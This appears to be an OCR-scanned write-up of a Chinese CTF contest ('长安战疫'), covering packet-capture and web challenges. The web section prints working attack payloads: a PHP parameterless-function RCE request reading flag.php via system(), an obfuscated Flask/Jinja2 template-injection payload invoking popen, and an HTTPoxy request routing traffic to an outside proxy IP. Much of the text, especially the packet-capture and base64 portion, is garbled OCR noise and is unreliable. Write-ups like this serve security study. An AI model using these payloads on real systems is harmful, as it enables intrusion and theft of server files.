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Bo, Time Source
526 5.431851 127.0.8.

+ 27 5.a31095 127, 8.8
028 5.431896 127.8.8.
G205 5,431097 127.0.8.

b 038 5.4311@1 127.0.8.
531 5.431111 127.0.8.
932 5.431129 127,88,
533 5.4311233 127.0.8.
934 5.431129 127, 8.8,
1853 5479328 127.8.8.
1054 5. 479354 127.0.8.

1055 5479357 137.8.8.
1856 5.4793%3 137.9.8.
1857 5.479361 127.8.8.
1858 5. 479354 127.8.8.
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Lime-based text data: text/pl

Ml ‘Wireshark - [BER TCP {8 {tcp.stream eq 6] - secret.poap - =]

x

QACAATANE | ACRXHE N ARARRAAAA T AT AAAARAARARAAL BROCQUORF R DA TWC] 6] Wy BLEZUXNT TUC GENWVONAAdwn s THADGY C A 18AsAMITIAQRA =
EBQAAABLEWECF AMLIAAZACADUYS ] THoMBRvpbARE t THGAY 2hp C HAVO T Gty Swbme VWA BAE 3 C o coME hHEDE YAy

AEFALAGFELAGIUAXGMCAATANR | VOmH EXHAAAK HALALT AT AGAAASAALASC ) FAHC BT A0 BOBS THCS j G 1wy B kBMINUC GSNVVINAA NS ThHKDG Y c 8
R 1eASARDT LAQAARBOAARDSWECT AMUAARACADUYS L TIEMT L INFAARLC AAKDEAZARAAARAAAARAT THI DoAY 2R MDY LNG Submd VA D 3 exnd coMZheik
DEYVACNABEPUBAAAEFAARAFBLAQTUAKDAT AATANR JTADNAHE 0 AAAKWAARATAC AVAAARAAAARAC AR TG B F 001 BOGI THCD jal ey B rQINTULCASNVIN
At ZhHEDGYE agxnF 1 eAs ANDT IAJAABEQAANE)SHECF ADUYS1TDb U THHAABrX EAND g AGAARAARALAANA L TGEAADAYZhpCHITH T i Swbndyin
BB 3L exmEdOMINHKINGY XA CWARE PUB ARME F i F BLAQT RS QACAALARS O HE SRR 2 ACAAAARAAAAAAAL B e 20 SR F XL BOISTWCS ot Lnd B
AT CAMDYICGSINONAADWTS ZHADGY T A F 18ASAANT 1ADAABAQAAABSWE CFAMUAAZAC ADUYS ] THE QDG+ AAAR T EAADEARAAAARARARKALT TFXtwoRY ZhpcH
MuOTEDN AEAE 3 CEAmE C M hHEDGY XVACHABBPUEARAEF ALAGFE L AGTUACGACAATANA | MYOHEX AR HAAAL T AL AR AALARAALARCBReN 1 CREFXB1E
S TRCS fatlwey Bukzkx N foucGSMWVORAAd NS EhHEDGY c agamF 1eaAsis(T LAQAABRQAASBOS MECF AMUNARACADAIYS 1 TEZ DR ey

Ant Ty thp e HWODGY RC Submcd W ARAR 3 amE © oM hHE DG YNV AT A B EPUBAAKEF AARAF B L ADTUARDAT ASTANR JmtOmsHE AR S ARAT AT AAASARAANA
ANCAESFYCWET 81 BRSO THCS jaG lncy Buiz goM jQuCGSNVVHALDWN S ThHKDGY caponF 1 cASAADT LAGMABEQAANE)SHEC FAMUAARACADUYS L TKOF 4+ ANhAADECD
ARDEAEIARANAAANLAT THIVOS AY 2R HME NS St VAR 3 st ¢ OMZFHKDGYKVACWABSPUBARIE F AL FBLAG T UARGAC AL LARR JAVORKHEXDahARK N,
ARATAL AARAAAAAAARACHES A 3R X0 BORO THOS ] 36 LW RN TM N IO G5 MWWONAAWTYS Zhe KINGY C SEHIF 1 8A5AADT1 CFAMLAAZACADLIYS
L TF PSP AAAVARAD FARAAAARAAAARAS L TGMUASAYE h P CHMVHE E 205 SwbmdVUABAE 3Cexm Ec oMz hHEDGYXVACWABEPUBARAEF ARAAF BLAQTLIANQACAATANR]
VDM HE X ASAR AL E AL AALASAALAKAA B C LACWE T AR BONS THES a6 1wy BUKZC xMzkuc GRWVONAAd NS THHCIGY C SRamF 1easAA)T 1AQMABEQAARB]SH
ECFAMUAAZACADLVS 1 TS 1 CATe Jahnasian TIGIS

QsAYZhpcHEVMZ AXNC SubndWWABAB 30 oxmE CoMZhHKDGYXVAC MABEPUBAALE FAAAAFBLAQTUA DACAAT AKR J IVONX HEX 0 AAAKMAALAT AT AR R ARAANARADBET
VI T X0 B0 THE 5 a6 L e y B U X ZMT QUG SaWWEHANGWS ZHHEDGY Cag kmF Lens AAg T CF ADUY 51 TRGDRNDx F AL buaaDgARa
ARARAAAARAAT T 5 WOAY T ECHAVNE T LOC by ASAR 3 C e mECOMThHODGY NN ACWARD PUBAALEF AAASFEL AQTLUA QAL AL LANR | AvO X HE X AAAT AR 2 ALA
ARAAAAKAAAALPEASADARTXR1BQAITW 926 Wy LT CY NT RUCGSIVRNAA NN 5 THHKDGY Ca R 10 ASAM)T L AQAABRQAAABOSWECF AMLINARACADUYS 1 TraPpy
UIDAABMAADRA R ASAALARAALAL TG SUQMAY ZhpC HIVODQIME ShbmdAB AR ICE xE COMThHE DEYXNVA WA EPUEALAEF AAALFEL A TUADJACAA TANA jIVOTEHE
EERAANCRALAAT A ARAAAAARAAAGC AR R TDOEF 00 1 RONS TRCS ] Ak Dwe y Bk gz Tuce S miMdtdun s ThHEDG YA Eend 1eAsAsQT 1agasbBQAsABQSHECE AR
ARACADUYS ] Tmod 7 ACKMAATIYZ EAADEAZARALARAALARAT T GeC (AY 2 hpcHYWHZ TwhiS Subnd VW ARAR 30 paonE C oMZhHKDGYXVACWARBPUBAAAE FAARAFRLAQTUARD
ACAATANR TN O OHE D AASKMAAAA T ACARAAAAANAANC BT ] EO0E F OB 1B0OI THC S jat | ncyBuayMDUuc G5 nWQHANGM s ThHKDEY CagrnF 1eis AV T LADALE
B AR EC FAMUMAEACADUYS LT/

M1 187 AART 1 AADEAZ AARAAAARAARAT TF 1 ¥OMAY 2P HMHE MRS Sbmd VAR AR 302 mE C oME RHRDGY VAL WARR PURARAEFAAAAFE L AQTUAXQACAAT AN JmvD
HE XA A AR AT AC A AR AA A AL AAA AL BEX 2 s 008 f XB 1B QA9 TIMCS 26 Lur y BUX T e TMDE OGS NVWONAAWN S THHKDGY Cag MmF 1o ASAAT LADAAEBQAAABSWECF
AMUAAGACADUYS 1T Absboeh 1AARNEAADEAR ARAALAKAALALT T EBrQOAY 2hpe HAVNT TME Snbmdviise a8 I0e mEcaMzhHE DEYNVAD WA EPUBALAEF ALAKFBLAQT
ListonQAC AA TARNR ]y OmH E XA A AL mAAAAT AT AARARARAAAAST BEYD I DB X BOBSTRCD ] a6 Dwc y ALK UANT Tucs S A Addwn s ThHEDGYC A onF 1eASAROT 14
QAABBQAAABOSNECF AMLAAGACADUYS ] Ty5 11 ] BFSAAAE YWAADEARAAARAAAARAALL TFG 1 ABAY ZhpcHAWHTA SMC SubmdvABAR 30 oomEd CHZhHKDEYXVACNABEPL
AN EF AAANF BILAQTUASDNTAA T AR oy D O0HE KA A KA AT A AN ASAAAASAAN T L DB F A0 L B0 TR S G e y B Ul AU G S rvWOHAL N S ThHADGY
CAEHAF 1A S ART 1 AGAADBOAAARSWE CFAMUAKEACADUY S L TTOG U UXEAAAI GAADEAZARAAAAARAAAAT TE P TAQAY I HMT Cuit] S bmad vV ASAR 3 exnE coM?
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T51 TY‘QFD MUA&BDKHAADS&EAA&M&AMM&t IGaquﬁTZt‘IDCHII?UDQzHi Ewbmdi"d'ﬁﬁﬁEuSCe
xmEcoMZhHKDG YXVACwABBP UBAAARF AAAAFBLAGIUAZQACAATANR imVOmXHE X XwAAAKWAAANT

AT
YeagunF 1leAsAAUT] AQAABBQAAABQSWECF AMUAAZACADUY 51 Tmod zAKNWAAD T 22 AADS AR AAAA
AALAAAALTL ICeCQDAY ZhpoHMyMz DaNSSwbmdVVADAR 3CexmE coMZhHEDG YXVACwABBPUB AAAR
FAAAAFBLAQIUAXQACAATANR jmVORXHEXXwAAARwAAAAZACAAAAAAAARALACOEZ] eDABEXOLE
QOITHCY S at lwey Sul zHyMDUueG SnVVAN AAdwns ZhHEDG T cagxmP 1eAsAAQT | AQAABBQAAARD
SWECFAMUAAgACADUTSE1 T/ M1 1a7 AKAAC ] MuAAD g AgAnAAAAAAMLAAT TR | TQOAT ZhpcHM N zMw
MEEwbndVVAOAR S CexnEcoMZhHEDG YXV4CwABEP UBAAAEF AAAAFBLAG IUARQACAATANR JmViim
HHEXNwAAAK wAAAATACAAAAAAAAAAAACOENasDORENOIEQOITRCY j 2l lwey U zozMDEUCG AN
VVONAAdwNs ZhHEDG T cagxmF 1eAsAAQDT 1 AQAAPBQAAAROSWE CF AMUAAZACADUTS 1 Tdbsh9eh]
AALSWEAADZAZAAALALAAA S AT TREr QDAY 2hpcHMVN T2 1M1 SubmdVVAOAR3C e xmE coMZhHKDG
TEVACwABEPUBAAARF AAAAFBLAQIUARQACAATANR ImvOmMHE XX wAAAK wAAAATACARAAABAAAA
AACORYDIDABEX01BQOEITRCY jat lwey B zU4N T TucG SN VON AddwmsZhHEKDG Y cagxmF 1 eAsA
AQTLAQAARBQAAARQSWECF AMUAASACADUYS1 Ty 5T 1) 8F SAAAL TwAADZ AR AAAAAARAAAAAL TFG
+ADAY ZhpcHNMYN TASMC SebmdVVADAB3CexnEdoMZhHKDG YXVACwARBP IBAAARF AAAAFBLAGTU
AEQACAATANR SmVOMXHEXXwAAAK wAAAAZACAAAAAAAAAAAACOEWNLDEBIXO1BQOYTHCS jatlw
cyBuX Ul zAucG SnVVON AsdemsZhHalC Veag enF 1 eAsiAlT 1 AQAABBQAAARQSKECF AMU Adg A
CADNIYS1TTOGU Uz gAsAdCQAADZAZ AAAARAAARAAAT TERTALATY ShpcHMvOT cwhl] SwhmdVVACA
B3CexnEcoMZhHEDG TEV4OwABEP UBAAAEF AWAAFBLAD IUAZQACAATANE | mVOmHER XwASAKwi,
AAATACAAAAAAMAAAAACOENGEDERETNO1BQ0OTHCS S a0 Lwe y Bul 2k 3MD TucG SnVVON AddwmnsZh
HEDG T cagumF leAsAAQT] AQAARBQAAARQSWECF AMUAAGACADU TSl TRe SQoH T 4AACISAAADg AR
AAAARAAAAAAAT TE ST g4 AT ZhpcHMY Mz k300 SwbmdVVADAR S CexmE coMZnHKDG TXV4 CwABEFUR
AAAFFAAAAFBLADIVARQACAATANE iV On{HEX X wAAAK wAAAATACAAAARAAARAAACOEQrmDER E
AO1BROSTWCO aC lwe y Bu ZMEN zgucG EnVVON Al dwms ZhHEDG YoagxmP 1 eAsAAQT L AQAARBGA
AARQSWUCAAAAAGQAZAAH TEAAT +COAAMA

C0gdg IDGBFXOIEQOSTWCS J 2t 1wey Sul zg Oz [ucGSnVVON AAdwms ZhHKDG
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FSES0265
Pe1410468054 [TCP segment o
Spcr=34184568254 [TCP segne
MRS 20N
fiecr=3018460854 [TCP segne
MRS 205
MR26S
MEES2ES
bIG 265,
34146890 TSecr=168568016
F=3410408902 [TCP segment o
P=3d10d6E002 [TCP segment
=31410463902 [TCP segment
P=341B468002 [TCP segment
F=3410465902 [TCP segment
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preg_replace(

if(!preg_match(

eval($ GET[
}else{
die(

1
J

}else{

show_source(__FILE_);

SHEE

PHP Parametric Function RCE - sky’s blog (skysec.top)

eq

o [ rex B 0 =

I GET /mlkasl=syscen(V2Zcachl0/var/vnww/heml /flag. php¥22) &
codemeval (current (current lg'-e-t_-:l*tuwd_'.'.u-\.l iy HTTP/L1.1
Host: be729%a3. lxct . nat
Ussr=Agent Mogillas5.0 (Windows NT 10.0; WinEd; x&4;
rv:95.0) Gecko/l0Ll00101 Firefox/55.0

{ Accept
text/html ,application/xhtml+xml, application/xml;q=0.%9, image/
avif,image/webp,*/*;q=0.8
Accept-Language :
zh-CH,zh;q=0.8,zh-TW,;q=0.7,zh-HK, q=0. 5 ,en-US;q=0. 3, en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insscure-Requescs: 1

Cache-Control: max-ages=0

i Lhpaylaod:

pretty (BNl Hex Render [ 0 =

1L HTTP/1.1 200 OK

Content-Type: text/html; charsesc=UTF-8
Dace: Sat, OB Jan 2022 05:48:50 GHMT

i\ Server: Apaches/Z.4.25 (Dsbian)

Vary: Accept-Encoding
#-Powered-By: PHP/5.E.40
Content-Length: 58
Connection: close

= php

L $tlag="flag{le3452feecdTEc5aShd53Z0acBLTE55a) ;

i

e -

CSDN @V1k:

-

?m1kael=system(“cat%20/Nar/www/html/flag.php”);&code=eval(current(current(get_defined_vars())));

Flask

RHE R
admin?name=payload?1.js?
RJEILIE T A

SHHE

P Bypass N0 ER Flask-jinja2 SSTI HIFI A - Se &4 X (aliyun.com)

It hpayload:

{%print(lipsum|attr(%22\u@05f\u@o5f\uee67\uee6c\uee6f\uev62\uve61\ueo6c\ueo73\uees5F\uees5+%22)) [attr(%22\uee5f\u@
05F\u0067\uPe65\uee74\uBR69\Uu0B74\u0065\u06d\uBBST\uBBS51%22) (%2205%22) |attr(%22popen%22) (%221s

ad%22) ()%}

22) |attr(%22re



https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
https://xz.aliyun.com/t/9584#toc-13

A 25 | ddes84a717 Ixctfnet

hello bin boot dev etc flag home lib lib64 media mnt opt proc root run shin srv start.sh sys tmp usr var 2 js7

]

{%print(lipsum|attr( )) [attr(
) [attr( )()%}%20.]js?

A 7242 | 6b30590d.Ixctf.net

hello flag{1149226ef4cbc153¢84¢ch1591d0a9f64} .js?

Flaghc i% & >
CVE-2016-5385

vulhubJ&iH Z B - Ywc's blog (yinwe.github.io)


https://yinwc.github.io/2018/11/15/vulhub%25E6%25BC%258F%25E6%25B4%259E%25E5%25A4%258D%25E7%258E%25B0/#HTTPoxy%25E6%25BC%258F%25E6%25B4%259E%25EF%25BC%2588CVE-2016-5385%25EF%25BC%2589

IT /index.php HTTP/Ll.1 HTTP/1l.1l 200 OK

sst: 113.201.14.253:14580 Server: nginx/l1.Z1.5

ser—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4; Date: Sac, 08 Jan 2022 0B:Z27:Z22 GHMT
r:85.0) Gecko/2Z0100101 Firefox/55.0 4 Contenc-Type: ctext/html; charsec=UTF-8
reept: Connection: close

it/ html  application/xhtml+iml  application/xml;gq=0.5, image/ X=Powered-By: FHPF/5.E.23

rif, image/webp,*/*;q=0.0 Content-Length: 131§

rcept-Language

1-CH,zh;q=0.8,zh-TW:;q=0.7,zh-HE;q=0. 5,en-US;q=0. 3,en;q=0.2 <html>

rcept-Encoding: gzip, deflate <head>

roxy: heep: //121.41.59.127: 080§ 11 <Citle>

mnection: close Flag OOOO

igrade-Insecure-Requests: 1
wche-Control: max-age=0

“Center®
<hl>»
Flag DDOO
</hl>»
<hr >
<hT»
O0F L agDO00wwrw . yunyansec. com!
«fhl>
<hr />
aly»
Fatal erroz
<
Uncaught exception
'GuzzleHecep' Exception’ ConnectException’ with message
'elURL error 52: Empty reply from server (see
heep: //feurl. haxx.se/libecurl/eflibourl-errors html) ' in

fwvar fvnaw/htal /fvendor fguzzslehttp/guzzle/sre/Handler /Cur

lFactory.php: 186 CsSDN @M kazl
Stack trace: <Al L Nl

root@1Zbplbut : -p
POST http://www.vyunyansec.com/ HTTP/1.1
Proxy-Connection: Keep-Alive
User-Agent: GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23
Content-Type: application/x-www-form-urlencoded
Host: www.yunyansec.com
Content-Length: 40

YourFlag=cazy%7BWE 4r3 fdmily for3vEr%7D"CSDN



	长安“战疫”网络安全卫士守护赛writeup
	长安“战疫”网络安全卫士守护赛writeup
	misc
	八卦迷宫
	西安加油

	web
	RCE_No_Para
	Flask
	Flag配送中心




